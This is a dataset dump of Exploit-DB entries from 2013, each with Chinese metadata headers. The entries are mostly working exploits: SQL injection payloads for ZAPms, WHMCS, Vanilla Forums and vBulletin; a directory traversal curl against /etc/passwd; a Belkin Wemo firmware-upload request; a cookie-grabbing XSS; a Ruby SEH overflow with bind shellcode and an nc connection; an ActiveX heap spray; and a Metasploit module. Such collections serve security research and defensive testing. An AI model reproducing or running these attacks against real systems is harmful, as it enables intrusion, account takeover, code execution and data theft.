QLWD/code_shield huggingface dataset:
标题: ZAPms 1.41 - SQL Injection EDB-ID: 24942 CVE: 2013-3050 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-09 漏洞利用脚本: =============================================================================================================


  [o] ZAPms <= SQL Injection Vulnerability

       Software : ZAPms
       Version  : 1.41
       Vendor   : http://www.zapms.de
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Desc     : ZAPms is free open source web content management system,
                  adapted to the needs of businesses on the Internet.
                  The ZAPms offers many features and modules as well as an expansion interface for maximum capabilities.


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/products?pid=[SQLi]


=============================================================================================================


  [o] PoC

       http://server/products?pid=-14+union+select+1,2,3,4,5,6,7,8,9,version(),database(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,user(),43,44,45,46,47,48--&cid=0&tid=&page=&action=details&subaction=product


=============================================================================================================


  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory
       aJe kaka11 matthews wishnusakti inc0mp13te martfella
       pizzyroot Genex H312Y noname tukulesto }^-^{


=============================================================================================================


  [o] April 09 2013 - Papua, Indonesia URL: https://www.exploit-db.com/exploits/24942
标题: WHMCompleteSolution (WHMCS) Group Pay Plugin 1.5 - 'grouppay.php?hash' SQL Injection EDB-ID: 24934 CVE: 2013-3536 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-08 漏洞利用脚本: #######################################################################

Tile:      WHMCS grouppay plugin SQL Injection <= 1.5
Author: HJauditing Employee Tim
E-mail: Tim@HJauditing.com
Web:    http://hjauditing.com/
Plugin: http://kadeo.com.au/design-and-development/whmcs-dev/whmcs-modules/72-group-pay.html

#######################################################################

============
Introduction
============

We have found a SQL injection inside the group pay plugin for WHCMS.
A lot of game hosting companies are using this plugin.
SQL Injection is in the function gp_LoadUserFromHash.

============
Exploits
============

- SQL Injection
grouppay.php?hash=%hash%' and '1'='1

============
Code SQL Injection
============

/modules/addons/group_pay/functions_hash.php
function gp_LoadUserFromHash($hash) {
    //Kill the Dashes
    $hash = str_replace ( "-", "", $hash );
    $result = mysql_query ( "SELECT `id` from tblclients where md5(CONCAT(id,email)) = '$hash'" );
    if($result){
        $row = mysql_fetch_row ( $result );
        return $row [0];
    }else{
        return false;   
    }
}

============
Fix
============

/modules/addons/group_pay/functions_hash.php
function gp_LoadUserFromHash($hash) {
    //Kill the Dashes
    $hash = str_replace ( "-", "", $hash );
    $hash = mysql_real_escape_string($hash);
    $result = mysql_query ( "SELECT `id` from tblclients where md5(CONCAT(id,email)) = '$hash'" );
    if($result){
        $row = mysql_fetch_row ( $result );
        return $row [0];
    }else{
        return false;   
    }
}

#######################################################################﻿ URL: https://www.exploit-db.com/exploits/24934
标题: Vanilla Forums 2-0-18-4 - SQL Injection EDB-ID: 24927 CVE: 2013-3527 类型: WEBAPPS 平台: PHP 发布日期: 2013-04-08 漏洞利用脚本: # Exploit Title: Vanilla Forums - SQL-Injection - Insert arbitrary user & dump usertable
# Date: 04/05/2013
# Exploit Author: bl4ckw0rm
# Vendor Homepage: http://vanillaforums.org/
# Version: 2-0-18-4
# Tested on: Windows

Product Name:

Vanilla Forums

Vulnerable Version:

Up to vanilla-core-2-0-18-4

Tested on:

Windows Server 2003
Apache 2.4.3
PHP 5.4.7
MySQL 5.5.27

Vulnerability Overview:

SQL-Injection is possible, because$_POST arrays are not proper sanitized.
You do not need to be authenticated.

Vulnerability Details:

To insert an arbitrary user, a sample HTTP-Post Request looks as follows:

POST /[PATH]/vanilla/entry/signin HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: [any cookie]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 399

Form%2FTransientKey=VQYSOG2F3D38&Form%2Fhpt=&Form%2FTarget=discussions&
Form%2FClientHour=2013-3-28+11%3A37&Form%2FEmail['admin';INSERT INTO gdn_user 
(UserID, Name, Password, HashMethod, DateInserted, Admin, Permissions)
VALUES (NULL, '1234', '$P$BayO4QrMb9wgzdjNhlUBWdQcVaMnKN0', 'Vanilla', 
'2013-03-28 00:00:00', '1', '');#]=abcd&Form%2FPassword=*&Form%2FSign_In=
Sign+In&Checkboxes%5B%5D=RememberMe

Indeed you has to take care of the proper encryption algorithm which is currently used.

As it is not possible to get the user table displayed on the website, you could establish an attack as follows:

POST /[PATH]/vanilla/entry/passwordrequest HTTP/1.1
Host: [HOST]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 255

Form%2FTransientKey=OJS6EB1J0KW7&Form%2Fhpt=&Form%2FEmail['ac';select * 
from gdn_user into outfile '[FULL_PATH]\\vanilla\\out.txt' #]=13&
Form%2FRequest_a_new_password=Request+a+new+password URL: https://www.exploit-db.com/exploits/24927
标题: Aspen 0.8 - Directory Traversal EDB-ID: 24915 CVE: 2013-2619 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2013-04-02 漏洞利用脚本: Aspen 0.8 - Directory Traversal
Earlier versions are also possibly vulnerable.

INFORMATION

Product: Aspen 0.8
Remote-exploit: yes
Vendor-URL: http://www.zetadev.com/software/aspen/

Discovered by: Daniel Ricardo dos Santos
CVE Request - 15/03/2013
CVE Assign - 18/03/2013
CVE Number - CVE-2013-2619
Vendor notification - 18/03/2013
Vendor reply - No reply
Public disclosure - 01/04/2013

OVERVIEW

Aspen 0.8 is vulnerable to a directory traversal.

INTRODUCTION

Aspen is a Python webserver.
Aspen is framework-agnostic and relies heavily on WSGI.
Aspen is fast enough.

VULNERABILITY DESCRIPTION

The vulnerability happens when directory indexing is turned on (default
configuration in this version) and a user requests, for instance
localhost/../../../../../../../etc/passwd.

The vulnerability may be tested with the following command-line:
curl -v4 http://<server>:<port>/../../../../../../etc/passwd

VERSIONS AFFECTED

Tested with version 0.8 but earlier versions are possibly vulnerable.

SOLUTION

Upgrade to version 0.22 - http://aspen.io/

NOTES

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2013-2619 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

CREDITS

Daniel Ricardo dos Santos
SEC+ Information Security Company - http://www.secplus.com.br/ URL: https://www.exploit-db.com/exploits/24915
标题: Belkin Wemo - Arbitrary Firmware Upload EDB-ID: 24924 CVE: 2013-2748 类型: WEBAPPS 平台: HARDWARE 发布日期: 2013-04-08 漏洞利用脚本: # Exploit Title: Belkin Wemo Arbitrary Firmware Vulnerability
# Date: 4/3/13
# Exploit Author: Daniel Buentello
# Vendor Homepage: http://www.belkin.com/us/wemo
# Version: Any version prior to WeMo_US_2.00.2176.PVT
# CVE : CVE-2013-2748


POST /upnp/control/firmwareupdate1 HTTP/1.1
SOAPACTION: "urn:Belkin:service:firmwareupdate:1#UpdateFirmware"
Content-Length: 
Content-Type: text/xml; charset="utf-8"
HOST: 10.0.1.8:49153
User-Agent: 

<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <s:Body>
  <u:UpdateFirmware xmlns:u="urn:Belkin:service:firmwareupdate:1">
   <ReleaseDate>07Jan2013</ReleaseDate><NewFirmwareVersion>1</NewFirmwareVersion><URL>http://10.0.1.99/bad_firmware.bin
  </u:UpdateFirmware>
 </s:Body>
</s:Envelope>

PoC Video:
https://www.youtube.com/watch?v=BcW2q0aHOFo URL: https://www.exploit-db.com/exploits/24924
标题: OTRS 3.x - FAQ Module Persistent Cross-Site Scripting EDB-ID: 24922 CVE: 2013-2637 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2013-04-08 漏洞利用脚本: # Exploit Title: [OTRS Faq Module - Persistent  XSS]

# Date: [2-Apr-2013]
# Exploit Author: [Luigi Vezzoso]
# Vendor Homepage: [http://www.otrs.com]
# Version: [OTRS ITSM 3.2.x,OTRS ITSM 3.1.x,OTRS ITSM 3.0.x]
# Tested on: [Perl]
# CVE : [CVE-2013-2637]

#OVERVIEW
The OTRS ITSM FAQ Module 3.2.x and below is vulnerable to a persistant XSS that permit some client side attack like cookies grabbing.

#INTRODUCTION
OTRS (http://www.otrs.com) is a flexible Help Desk and IT-Service Management Software distribuited as opensource project (AGPL License) and also as-a-service. WIth a 1,650,000 downloads and 110,000 installation is one of the most used ticketing and service management software in the world.

#VULNERABILITY DESCRIPTION
The FAQ Module permit to share FAQ documents to Admins (called Agents in OTRS), Customers and everyone. The documents are presented like a wiki. Each user with the permission of add a FAQ can create a custom FAQ with the exploit. Each user that can view that FAQ (also the admin) can trigger the XSS. 

The user can add JavaScript in the "Syntoms" of FAQ like the simplest: <script>alert("H4cked!!  "+document.cookie);</script>


--------------------------------------------------------------------------------
 <li class="Customer Visible">
                <div class="MessageHeader">
                    <h3>Symptom:</h3>
                    <div class="Clear"></div>
                </div>
                <div class="ArticleFAQContent">
                    <div class="message">
                        <script>alert("H4cked!!  "+document.cookie);</script>
                    </div>
                </div>
            </li>
--------------------------------------------------------------------------------

#VERSIONS AFFECTED
OTRS ITSM 3.2.x, OTRS ITSM 3.1.x, OTRS ITSM 3.0.x, FAQ 2.1.x, FAQ 2.0.x

#SOLUTION
Referer to vendor security advisor @ http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2013-02/

#CREDITS
Luigi Vezzoso 
email: luigivezzoso@gmail.com
skype: luigivezzoso URL: https://www.exploit-db.com/exploits/24922
标题: PsychoStats 3.2.2b - 'awards.php' Blind SQL Injection EDB-ID: 24893 CVE: 2013-3721 类型: WEBAPPS 平台: PHP 发布日期: 2013-03-27 漏洞利用脚本: Exploit Title :  PsychoStats awards.php blind SQL Injection
==============
Date: 27/03/2013 00:50
=====
Author: Mohamed from ALG
======
Vendor or Software Link:http://psychostats.us/
=======================
Version: 3.2.2b
========
Category: webapps
=========
Google Keywords: "Powered by PsychoStats 3.2.2b"
===============
contact: senderberd[at]gmail.com
========

exploit:
========

http://server/awards.php?d=YYYY-MM-DD{Inject hier your blind SQL injection}


Use Havij to easy exploit 
Enjoy 


S.Th To a El Koyot

end URL: https://www.exploit-db.com/exploits/24893
标题: KNet Web Server 1.04b - Remote Buffer Overflow (SEH) EDB-ID: 24897 CVE: 2005-0575 类型: REMOTE 平台: WINDOWS 发布日期: 2013-03-29 漏洞利用脚本: #!/usr/bin/ruby

# Exploit Title: KNet Web Server Buffer Overflow SEH
# Date: 2013-03-27
# Exploit Author: Myo Soe, http://yehg.net/
# Software Link: http://www.softpedia.com/progDownload/KNet-Download-20137.html
# Version: KNet 1.04b 
# Tested on: Windows 7

require 'net/http'
require 'uri'
require 'socket'
############################################

# bind port 4444
sc_bind = 
"\xbd\x0e\x27\x05\xab\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x6a\x0f\x03\x6a\x01\xc5\xf0\x57" +
"\xf5\x80\xfb\xa7\x05\xf3\x72\x42\x34\x21\xe0\x06\x64\xf5" +
"\x62\x4a\x84\x7e\x26\x7f\x1f\xf2\xef\x70\xa8\xb9\xc9\xbf" +
"\x29\x0c\xd6\x6c\xe9\x0e\xaa\x6e\x3d\xf1\x93\xa0\x30\xf0" +
"\xd4\xdd\xba\xa0\x8d\xaa\x68\x55\xb9\xef\xb0\x54\x6d\x64" +
"\x88\x2e\x08\xbb\x7c\x85\x13\xec\x2c\x92\x5c\x14\x47\xfc" +
"\x7c\x25\x84\x1e\x40\x6c\xa1\xd5\x32\x6f\x63\x24\xba\x41" +
"\x4b\xeb\x85\x6d\x46\xf5\xc2\x4a\xb8\x80\x38\xa9\x45\x93" +
"\xfa\xd3\x91\x16\x1f\x73\x52\x80\xfb\x85\xb7\x57\x8f\x8a" +
"\x7c\x13\xd7\x8e\x83\xf0\x63\xaa\x08\xf7\xa3\x3a\x4a\xdc" +
"\x67\x66\x09\x7d\x31\xc2\xfc\x82\x21\xaa\xa1\x26\x29\x59" +
"\xb6\x51\x70\x36\x7b\x6c\x8b\xc6\x13\xe7\xf8\xf4\xbc\x53" +
"\x97\xb4\x35\x7a\x60\xba\x6c\x3a\xfe\x45\x8e\x3b\xd6\x81" +
"\xda\x6b\x40\x23\x62\xe0\x90\xcc\xb7\xa7\xc0\x62\x67\x08" +
"\xb1\xc2\xd7\xe0\xdb\xcc\x08\x10\xe4\x06\x3f\x16\x2a\x72" +
"\x6c\xf1\x4f\x84\x83\x5d\xd9\x62\xc9\x4d\x8f\x3d\x65\xac" +
"\xf4\xf5\x12\xcf\xde\xa9\x8b\x47\x56\xa4\x0b\x67\x67\xe2" +
"\x38\xc4\xcf\x65\xca\x06\xd4\x94\xcd\x02\x7c\xde\xf6\xc5" +
"\xf6\x8e\xb5\x74\x06\x9b\x2d\x14\x95\x40\xad\x53\x86\xde" +
"\xfa\x34\x78\x17\x6e\xa9\x23\x81\x8c\x30\xb5\xea\x14\xef" +
"\x06\xf4\x95\x62\x32\xd2\x85\xba\xbb\x5e\xf1\x12\xea\x08" +
"\xaf\xd4\x44\xfb\x19\x8f\x3b\x55\xcd\x56\x70\x66\x8b\x56" +
"\x5d\x10\x73\xe6\x08\x65\x8c\xc7\xdc\x61\xf5\x35\x7d\x8d" +
"\x2c\xfe\x8d\xc4\x6c\x57\x06\x81\xe5\xe5\x4b\x32\xd0\x2a" +
"\x72\xb1\xd0\xd2\x81\xa9\x91\xd7\xce\x6d\x4a\xaa\x5f\x18" +
"\x6c\x19\x5f\x09"

###########################################


sploit = "\x90" * 1234
sploit += "\xFF\x64\x24\x5C"  # nseh | JMP [ESP+5C] FF6424 5C ; will jump to Shell Code  at ESP+5C
sploit += "\xE3\x74\x24\x6C"  # seh  | Found pop esi - pop ebp - ret at 0x6C2474E3 [crtdll.dll]
sploit += "\x90" * 80  

sploit += sc_bind
sploit += "\x90" * 80

########################################

puts "KNet Web Server - Buffer Overflow SEH Exploit\r\n by Myo Soe, http://yehg.net/\n\n"
target = ARGV[0]

def exploit(t,s)
 target = 'http://' + t
 sploit = s
 puts "[*] Sending exploit to #{target}...\n"
 url = URI.parse(target)
 res = Net::HTTP.start(url.host, url.port) {|http|
 http.get('/' + sploit)
 }
end 
def connect(t)
 sleep(1)
 target = t
 puts "[*] Opening Shell ..\n\n";
 system("nc #{target} 4444")
end 
t1=Thread.new{exploit(target,sploit)}
t2=Thread.new{connect(target)}
t1.join
t2.join URL: https://www.exploit-db.com/exploits/24897
标题: Mitsubishi MX ActiveX Component 3 - 'ActUWzd.dll' 'WzTitle' Remote Heap Spray EDB-ID: 24886 CVE: 2013-3075 类型: REMOTE 平台: WINDOWS 发布日期: 2013-03-25 漏洞利用脚本: <!--
Title: Mitsubishi MX Component v3 ActiveX 365+-Day [ActUWzd.dll (WzTitle)]
By: Dr_IDE
File: C:\MELSEC\Act\Control\ActUWzd.dll (Version 1.0.0.1)
Known Affected Systems: CitectScada 7.10r1 ships with this in the "Extras" folder.
Known Affected Systems: CitectFacilities 7.10 ships with this in the "Extras" folder.
I am unsure as to what other vendors ship/support this.
Pretty much any control in this library with type "String" is vulnerable.
Been sitting on this one forever. I don't even think Citect ships with this particular 3rd Party Component Anymore.
I would love to hear if any other packages ship with this component.
--!>

<html>
<object id='target' classid='clsid:B5D4B42F-AD6E-11D3-BE97-0090FE014643'></object>
<script >

//Payload is a windows/bindshell that is spawned on LPORT=5500
shellcode = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3"); 

var bigblock  = unescape("%u0A0A%u0A00"); //we smash a CALL ECX+C call so we send 00 to get 0A
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace)
bigblock+=bigblock;
      
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000)
block = block+block+fillblock;

memory = new Array();
for (x=0; x<300; x++)
memory[x] = block + shellcode;
  
var buffer = ''; 

while (buffer.length < 4000)

buffer+="\x0A\x0A\x0A\x0A";

target.WzTitle = buffer;
</script>
Mitsubishi MX Component v3 ActiveX 0-Day [ActUWzd.dll (WzTitle)] Heap Spray<br>
Download:  This is included with CitectFacilities 7.10r1 from www.citectscada.com<br>
Information:  http://www.mitsubishi-automation.com/products/software_mx_components_content.htm<br>
Found/Coded By: Dr_IDE<br>
Tested:  XPSP3 + IE6<br>
Tested:  XPSP3 + IE7<br>
Notes:   Check your bindshell on port 5500
</body>
</html> URL: https://www.exploit-db.com/exploits/24886
标题: KingView - Log File Parsing Buffer Overflow (Metasploit) EDB-ID: 24887 CVE: 2012-4711 类型: REMOTE 平台: WINDOWS 发布日期: 2013-03-25 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info={})
    super(update_info(info,
      'Name'           => "KingView Log File Parsing Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in KingView <= 6.55. It exists in
        the KingMess.exe application when handling log files, due to the insecure usage of
        sprintf. This module uses a malformed .kvl file which must be opened by the victim
        via the KingMess.exe application, through the 'Browse Log Files' option. The module
        has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over
        Windows XP SP3.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Lucas Apa', # Vulnerability discovery
          'Carlos Mario Penagos Hollman', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2012-4711'],
          ['OSVDB', '89690'],
          ['BID', '57909'],
          ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-043-02.pdf']
        ],
      'Payload'        =>
        {
          'Space'          => 1408,
          'DisableNops'    => true,
          'BadChars'       => "\x00\x0a\x0d",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'KingView 6.52 English / KingView 6.53 Free Trial / Kingmess.exe 65.20.2003.10300 / Windows XP SP3',
            {
              'Offset' => 295,
              'Ret'    => 0x77c35459 # push esp # ret # msvcrt.dll
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 20 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [true, 'The filename', 'msf.kvl'])
      ], self.class)
  end

  def exploit
    version = "6.00"
    version << "\x00" * (0x90 - version.length)
    entry = "\xdd\x07\x03\x00\x03\x00\x0d\x00\x0c\x00\x31\x00\x38\x00\xd4\x01"
    entry << rand_text_alpha(target['Offset'])
    entry << [target.ret].pack("V")
    entry << rand_text_alpha(16)
    entry << payload.encoded

    kvl_file = version
    kvl_file << entry

    file_create(kvl_file)
  end
end URL: https://www.exploit-db.com/exploits/24887
标题: vBulletin 5.0.0 Beta 11 < 5.0.0 Beta 28 - SQL Injection EDB-ID: 24882 CVE: 2013-3522 类型: WEBAPPS 平台: PHP 发布日期: 2013-03-25 漏洞利用脚本: # Exploit Title: vBulletin 5 Beta XX SQLi 0day
# Google Dork: "Powered by vBulletin Version 5.0.0 Beta"
# Date: 24/03/2013
# Exploit Author: Orestis Kourides
# Vendor Homepage: www.vbulletin.com
# Software Link: 
# Version: 5.0.0 Beta 11 - 5.0.0 Beta 28
# Tested on: Linux
# CVE : None

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use MIME::Base64;
system $^O eq 'MSWin32' ? 'cls' : 'clear';
print "
+===================================================+
|           vBulletin 5 Beta XX SQLi 0day           |
|              Author: Orestis Kourides             |
|             Web Site: www.cyitsec.net             |
+===================================================+
";
 
if (@ARGV != 5) {
    print "\r\nUsage: perl vb5exp.pl WWW.HOST.COM VBPATH URUSER URPASS MAGICNUM\r\n";
    exit;
}
 
$host  = $ARGV[0];
$path  = $ARGV[1];
$username = $ARGV[2];
$password = $ARGV[3];
$magicnum = $ARGV[4];
$encpath = encode_base64('http://'.$host.$path);
print "[+] Logging\n";
print "[+] Username: ".$username."\n";
print "[+] Password: ".$password."\n";
print "[+] MagicNum: ".$magicnum."\n";
print "[+] " .$host.$path."auth/login\n";
my $browser = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
my $response = $browser->post( 'http://'.$host.$path.'auth/login',
    [
  'url' => $encpath,
  'username' => $username,
  'password' => $password,
 ],
 Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'',
 User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
);
$browser->cookie_jar( $cookie_jar );
my $browser = LWP::UserAgent->new;
$browser->cookie_jar( $cookie_jar );
print "[+] Requesting\n";
my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
  'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338',
 ],
 User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
);
$data = $response->content;
if ($data =~ /(#((\\.)|[^\\#])*#)/) { print '[+] Version: '.$1 };
print "\n";
exit 1; URL: https://www.exploit-db.com/exploits/24882